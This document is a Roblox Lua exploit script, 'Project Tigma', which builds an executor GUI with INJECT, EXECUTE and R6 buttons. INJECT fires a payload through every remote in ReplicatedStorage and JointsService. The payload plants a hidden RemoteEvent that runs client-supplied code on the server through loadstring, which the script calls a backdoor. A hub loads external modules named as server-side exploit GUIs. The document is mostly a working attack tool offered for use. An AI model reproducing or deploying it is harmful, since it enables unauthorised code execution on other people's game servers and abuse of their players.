
Key RequiredUniversal

-- Project Tigma
local LMG2L = {};
LMG2L["ScreenGui_1"] = Instance.new("ScreenGui")
LMG2L["ScreenGui_1"].Parent = game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")
LMG2L["ScreenGui_1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling
LMG2L["ScreenGui_1"]["ResetOnSpawn"] = false
LMG2L["Frame_2"] = Instance.new("Frame", LMG2L["ScreenGui_1"])
LMG2L["Frame_2"]["BorderSizePixel"] = 0
LMG2L["Frame_2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
LMG2L["Frame_2"]["Style"] = Enum.FrameStyle.DropShadow
LMG2L["Frame_2"]["Size"] = UDim2.new(0, 588, 0, 292)
LMG2L["Frame_2"]["Position"] = UDim2.new(0, 152, 0, 20)
LMG2L["Frame4_3"] = Instance.new("Frame", LMG2L["Frame_2"])
LMG2L["Frame4_3"]["BorderSizePixel"] = 0
LMG2L["Frame4_3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0)
LMG2L["Frame4_3"]["Size"] = UDim2.new(0, 76, 0, 40)
LMG2L["Frame4_3"]["Position"] = UDim2.new(0, 100, 0, 230)
LMG2L["Frame4_3"]["Name"] = [[Frame4]]
LMG2L["UIStroke_4"] = Instance.new("UIStroke", LMG2L["Frame4_3"])
LMG2L["UIStroke_4"]["Color"] = Color3.fromRGB(255, 255, 255)
LMG2L["Frame5_5"] = Instance.new("Frame", LMG2L["Frame_2"])
LMG2L["Frame5_5"]["BorderSizePixel"] = 0
LMG2L["Frame5_5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0)
LMG2L["Frame5_5"]["Size"] = UDim2.new(0, 92, 0, 38)
LMG2L["Frame5_5"]["Position"] = UDim2.new(0, 326, 0, 230)
LMG2L["Frame5_5"]["Name"] = [[Frame5]]
LMG2L["UIStroke_6"] = Instance.new("UIStroke", LMG2L["Frame5_5"])
LMG2L["UIStroke_6"]["Color"] = Color3.fromRGB(255, 255, 255)
LMG2L["TextButton2_7"] = Instance.new("TextButton", LMG2L["Frame_2"])
LMG2L["TextButton2_7"]["TextWrapped"] = true
LMG2L["TextButton2_7"]["BorderSizePixel"] = 0
LMG2L["TextButton2_7"]["TextScaled"] = true
LMG2L["TextButton2_7"]["BackgroundColor3"] = Color3.fromRGB(129, 129, 129)
LMG2L["TextButton2_7"]["ZIndex"] = 2
LMG2L["TextButton2_7"]["Size"] = UDim2.new(0, 76, 0, 40)
LMG2L["TextButton2_7"]["Text"] = [[CLEAR]]
LMG2L["TextButton2_7"]["Name"] = [[TextButton2]]
LMG2L["TextButton2_7"]["Position"] = UDim2.new(0, 100, 0, 230)
LMG2L["UIStroke_8"] = Instance.new("UIStroke", LMG2L["TextButton2_7"])
LMG2L["UIStroke_8"]["Color"] = Color3.fromRGB(255, 255, 255)
LMG2L["TextButton3_9"] = Instance.new("TextButton", LMG2L["Frame_2"])
LMG2L["TextButton3_9"]["TextWrapped"] = true
LMG2L["TextButton3_9"]["BorderSizePixel"] = 0
LMG2L["TextButton3_9"]["TextSize"] = 15
LMG2L["TextButton3_9"]["TextColor3"] = Color3.fromRGB(28, 43, 54)
LMG2L["TextButton3_9"]["BackgroundColor3"] = Color3.fromRGB(129, 129, 129)
LMG2L["TextButton3_9"]["ZIndex"] = 2
LMG2L["TextButton3_9"]["Size"] = UDim2.new(0, 92, 0, 38)
LMG2L["TextButton3_9"]["Text"] = [[INJECT]]
LMG2L["TextButton3_9"]["Name"] = [[TextButton3]]
LMG2L["TextButton3_9"]["Position"] = UDim2.new(0, 326, 0, 230)
LMG2L["UIStroke_a"] = Instance.new("UIStroke", LMG2L["TextButton3_9"])
LMG2L["UIStroke_a"]["Color"] = Color3.fromRGB(255, 255, 255)
LMG2L["TextButton_b"] = Instance.new("TextButton", LMG2L["Frame_2"])
LMG2L["TextButton_b"]["TextWrapped"] = true
LMG2L["TextButton_b"]["BorderSizePixel"] = 0
LMG2L["TextButton_b"]["TextScaled"] = true
LMG2L["TextButton_b"]["BackgroundColor3"] = Color3.fromRGB(129, 129, 129)
LMG2L["TextButton_b"]["ZIndex"] = 2
LMG2L["TextButton_b"]["Size"] = UDim2.new(0, 78, 0, 40)
LMG2L["TextButton_b"]["Text"] = [[EXECUTE]]
LMG2L["TextButton_b"]["Position"] = UDim2.new(0, 14, 0, 230)
LMG2L["UIStroke_c"] = Instance.new("UIStroke", LMG2L["TextButton_b"])
LMG2L["UIStroke_c"]["Color"] = Color3.fromRGB(255, 255, 255)
LMG2L["UIStroke_d"] = Instance.new("UIStroke", LMG2L["Frame_2"])
LMG2L["UIStroke_d"]["Thickness"] = 2
LMG2L["UIStroke_d"]["Color"] = Color3.fromRGB(255, 255, 255)
LMG2L["Frame3_e"] = Instance.new("Frame", LMG2L["Frame_2"])
LMG2L["Frame3_e"]["BorderSizePixel"] = 0
LMG2L["Frame3_e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0)
LMG2L["Frame3_e"]["Size"] = UDim2.new(0, 78, 0, 40)
LMG2L["Frame3_e"]["Position"] = UDim2.new(0, 14, 0, 230)
LMG2L["Frame3_e"]["Name"] = [[Frame3]]
LMG2L["UIStroke_f"] = Instance.new("UIStroke", LMG2L["Frame3_e"])
LMG2L["UIStroke_f"]["Color"] = Color3.fromRGB(255, 255, 255)
LMG2L["TextButton4_10"] = Instance.new("TextButton", LMG2L["Frame_2"])
LMG2L["TextButton4_10"]["BorderSizePixel"] = 0
LMG2L["TextButton4_10"]["TextSize"] = 15
LMG2L["TextButton4_10"]["BackgroundColor3"] = Color3.fromRGB(129, 129, 129)
LMG2L["TextButton4_10"]["ZIndex"] = 2
LMG2L["TextButton4_10"]["Size"] = UDim2.new(0, 58, 0, 38)
LMG2L["TextButton4_10"]["Text"] = [[R6]]
LMG2L["TextButton4_10"]["Name"] = [[TextButton4]]
LMG2L["TextButton4_10"]["Position"] = UDim2.new(0, 258, 0, 230)
LMG2L["UIStroke_11"] = Instance.new("UIStroke", LMG2L["TextButton4_10"])
LMG2L["UIStroke_11"]["Color"] = Color3.fromRGB(255, 255, 255)
LMG2L["Frame_12"] = Instance.new("Frame", LMG2L["Frame_2"])
LMG2L["Frame_12"]["BorderSizePixel"] = 0
LMG2L["Frame_12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0)
LMG2L["Frame_12"]["Size"] = UDim2.new(0, 410, 0, 200)
LMG2L["Frame_12"]["Position"] = UDim2.new(0, 6, 0, 22)
LMG2L["UIStroke_13"] = Instance.new("UIStroke", LMG2L["Frame_12"])
LMG2L["UIStroke_13"]["Color"] = Color3.fromRGB(255, 255, 255)
LMG2L["UICorner_14"] = Instance.new("UICorner", LMG2L["Frame_2"])
LMG2L["Frame7_15"] = Instance.new("Frame", LMG2L["Frame_2"])
LMG2L["Frame7_15"]["BorderSizePixel"] = 0
LMG2L["Frame7_15"]["BackgroundColor3"] = Color3.fromRGB(129, 129, 129)
LMG2L["Frame7_15"]["Size"] = UDim2.new(0, 118, 0, 252)
LMG2L["Frame7_15"]["Position"] = UDim2.new(0, 438, 0, 14)
LMG2L["Frame7_15"]["Name"] = [[Frame7]]
LMG2L["UIStroke_16"] = Instance.new("UIStroke", LMG2L["Frame7_15"])
LMG2L["UIStroke_16"]["Color"] = Color3.fromRGB(255, 255, 255)
LMG2L["Frame6_17"] = Instance.new("Frame", LMG2L["Frame_2"])
LMG2L["Frame6_17"]["BorderSizePixel"] = 0
LMG2L["Frame6_17"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0)
LMG2L["Frame6_17"]["Size"] = UDim2.new(0, 58, 0, 38)
LMG2L["Frame6_17"]["Position"] = UDim2.new(0, 258, 0, 230)
LMG2L["Frame6_17"]["Name"] = [[Frame6]]
LMG2L["UIStroke_18"] = Instance.new("UIStroke", LMG2L["Frame6_17"])
LMG2L["UIStroke_18"]["Color"] = Color3.fromRGB(255, 255, 255)
LMG2L["TextLabel_19"] = Instance.new("TextLabel", LMG2L["Frame_2"])
LMG2L["TextLabel_19"]["ZIndex"] = 2
LMG2L["TextLabel_19"]["BorderSizePixel"] = 0
LMG2L["TextLabel_19"]["BackgroundColor3"] = Color3.fromRGB(129, 129, 129)
LMG2L["TextLabel_19"]["Size"] = UDim2.new(0, 90, 0, 14)
LMG2L["TextLabel_19"]["Text"] = [[Project Tigma]]
LMG2L["TextLabel_19"]["Position"] = UDim2.new(0, 6, 0, 2)
LMG2L["UIStroke_1a"] = Instance.new("UIStroke", LMG2L["TextLabel_19"])
LMG2L["UIStroke_1a"]["Color"] = Color3.fromRGB(255, 255, 255)
LMG2L["TextBox_1b"] = Instance.new("TextBox", LMG2L["Frame_2"])
LMG2L["TextBox_1b"]["ZIndex"] = 2
LMG2L["TextBox_1b"]["BorderSizePixel"] = 2
LMG2L["TextBox_1b"]["TextWrapped"] = true
LMG2L["TextBox_1b"]["TextTransparency"] = 0
LMG2L["TextBox_1b"]["ClearTextOnFocus"] = false
LMG2L["TextBox_1b"]["BackgroundColor3"] = Color3.fromRGB(129, 129, 129)
LMG2L["TextBox_1b"]["BorderMode"] = Enum.BorderMode.Inset
LMG2L["TextBox_1b"]["MultiLine"] = true
LMG2L["TextBox_1b"]["PlaceholderText"] = [[enter script here ]]
LMG2L["TextBox_1b"]["Size"] = UDim2.new(0, 410, 0, 200)
LMG2L["TextBox_1b"]["Position"] = UDim2.new(0, 6, 0, 22)
LMG2L["TextBox_1b"]["Text"] = [[]]
LMG2L["TextBox_1b"]["TextColor3"] = Color3.fromRGB(0, 0, 0)
LMG2L["UIStroke_1c"] = Instance.new("UIStroke", LMG2L["TextBox_1b"])
LMG2L["UIStroke_1c"]["Color"] = Color3.fromRGB(255, 255, 255)
LMG2L["UIDragDetector_1d"] = Instance.new("UIDragDetector", LMG2L["Frame_2"])
LMG2L["Frame2_1e"] = Instance.new("Frame", LMG2L["Frame_2"])
LMG2L["Frame2_1e"]["BorderSizePixel"] = 0
LMG2L["Frame2_1e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0)
LMG2L["Frame2_1e"]["Size"] = UDim2.new(0, 90, 0, 14)
LMG2L["Frame2_1e"]["Position"] = UDim2.new(0, 6, 0, 2)
LMG2L["Frame2_1e"]["Name"] = [[Frame2]]
LMG2L["UIStroke_1f"] = Instance.new("UIStroke", LMG2L["Frame2_1e"])
LMG2L["UIStroke_1f"]["Color"] = Color3.fromRGB(255, 255, 255)
-- Project Tigma
local Players = game:GetService("Players")
local RS = game:GetService("ReplicatedStorage")
local JS = game:GetService("JointsService")
local LP = Players.LocalPlayer
local StarterGui = game:GetService("StarterGui")
local injected = false
local attachedRemote = nil
local playerName = LP.Name
local function notify(title, text)
pcall(function()
StarterGui:SetCore("SendNotification", {
Title = title,
Text = text,
Duration = 5
})
end)
end
local HubScrolling = Instance.new("ScrollingFrame")
HubScrolling.Parent = LMG2L["Frame7_15"]
HubScrolling.BackgroundTransparency = 1
HubScrolling.BorderSizePixel = 0
HubScrolling.Position = UDim2.new(0, 6, 0, 6)
HubScrolling.Size = UDim2.new(1, -12, 1, -12)
HubScrolling.CanvasSize = UDim2.new(0,0,0,0)
HubScrolling.ScrollBarThickness = 4
HubScrolling.ScrollBarImageColor3 = Color3.fromRGB(160,160,160)
local HubLayout = Instance.new("UIListLayout")
HubLayout.Parent = HubScrolling
HubLayout.Padding = UDim.new(0,5)
HubLayout.SortOrder = Enum.SortOrder.LayoutOrder
local function AddHubScript(name, code)
local btn = Instance.new("TextButton")
btn.Parent = HubScrolling
btn.BackgroundColor3 = Color3.fromRGB(80,80,90)
btn.Size = UDim2.new(1,0,0,30)
btn.Text = name
btn.TextColor3 = Color3.fromRGB(220,220,235)
btn.Font = Enum.Font.SourceSansBold
btn.TextSize = 13
btn.TextWrapped = true
local corner = Instance.new("UICorner", btn)
corner.CornerRadius = UDim.new(0,4)
local stroke = Instance.new("UIStroke", btn)
stroke.Color = Color3.fromRGB(255,255,255)
stroke.Thickness = 1
btn.MouseButton1Click:Connect(function()
local final = code:gsub('""', '"'..playerName..'"')
:gsub("''", "'"..playerName.."'")
:gsub('"name"', '"'..playerName..'"')
:gsub('"username"', '"'..playerName..'"')
:gsub('"plr"', '"'..playerName..'"')
LMG2L["TextBox_1b"].Text = final
end)
end
AddHubScript("KoopGui V11", [[require(15267263357).V11("")]])
AddHubScript("SSP", [[require(96288911777671):SSP("")]])
AddHubScript("Rc7", [[require(12350030542).RC7("")]])
AddHubScript("polaria", [[require(110951620907921):Pload("")]])
AddHubScript("Sensation Hub", [[require(100263845596551)("")]])
AddHubScript("Pepsi gui", [[require(113825094179678).pepsi("")]])
AddHubScript("Catlol", [[require(77579329778474).catlol("")]])
AddHubScript("IDE", [[require(121425622240385).dominantultimate("")]])
AddHubScript("Bipolaria", [[require(88477009909590):Pload("")]])
AddHubScript("RoLoader", [[require(112796675826571).RoLoader("name")]])
AddHubScript("Dominant", [[require(135879132527047).dominant("name")]])
AddHubScript("FSA", [[require(72732733952061).FSA("")]])
AddHubScript("Stigma", [[require(132938459666886).stigma("name")]])
AddHubScript("Ro-xploit v7.0", [[require(96184029574075)("")]])
HubLayout:GetPropertyChangedSignal("AbsoluteContentSize"):Connect(function()
HubScrolling.CanvasSize = UDim2.new(0,0,0, HubLayout.AbsoluteContentSize.Y + 20)
end)
LMG2L["TextButton3_9"].MouseButton1Click:Connect(function()
if injected then
notify("Already","Backdoor attached.")
return
end
local bn = "_PIPAZZ_BYPASS" .. math.random(10000,99999)
local injector = [[
local JS=game:GetService("JointsService")
local bn="]]..bn..[["
if not JS:FindFirstChild(bn)then
local e=Instance.new("RemoteEvent")
e.Name=bn
e.Parent=JS
e.OnServerEvent:Connect(function(p,cd)
local f,e=loadstring(cd)
if f then pcall(f) end
end)
end
]]
local function ti(r)
pcall(function()
if r:IsA("RemoteEvent") then
r:FireServer(injector)
elseif r:IsA("RemoteFunction") then
r:InvokeServer(injector)
end
end)
end
task.spawn(function() for _,v in ipairs(RS:GetChildren()) do ti(v) end end)
task.spawn(function() for _,v in ipairs(JS:GetChildren()) do ti(v) end end)
local w = 0
while w < 1.2 do
if JS:FindFirstChild(bn) then break end
task.wait(0.025)
w = w + 0.025
end
local br = JS:FindFirstChild(bn)
if br and br:IsA("RemoteEvent") then
injected = true
attachedRemote = br
LMG2L["TextButton3_9"].Text = "SUCCESS!"
LMG2L["TextButton3_9"].BackgroundColor3 = Color3.fromRGB(50,120,60)
notify("Inject Success","Backdoor & GUI activated.")
else
notify("Inject Failed","No backdoor.")
LMG2L["TextButton3_9"].Text = "no backdoor!"
LMG2L["TextButton3_9"].BackgroundColor3 = Color3.fromRGB(140,50,50)
end
end)
LMG2L["TextButton_b"].MouseButton1Click:Connect(function()
if not injected or not attachedRemote then
notify("Error", "Inject first.")
return
end
local code = LMG2L["TextBox_1b"].Text
if code:match("^%s*$") then
notify("Error", "No script.")
return
end
local pats = {'"yourusername"','"username"','"name"','"plr"','"player"'}
for _,p in pats do code = code:gsub(p, '"'..playerName..'"') end
pcall(function()
attachedRemote:FireServer(code)
notify("Executed", "Done.")
end)
end)
LMG2L["TextButton2_7"].MouseButton1Click:Connect(function()
LMG2L["TextBox_1b"].Text = ""
notify("Cleared", "Input cleared.")
end)
LMG2L["TextButton4_10"].MouseButton1Click:Connect(function()
if not injected or not attachedRemote then
return
end
local r6_code = [[require(3436957371):r6("]] .. playerName .. [[")]]
pcall(function()
attachedRemote:FireServer(r6_code)
end)
end)
return LMG2L["ScreenGui_1"], require;



was this taken idea
FE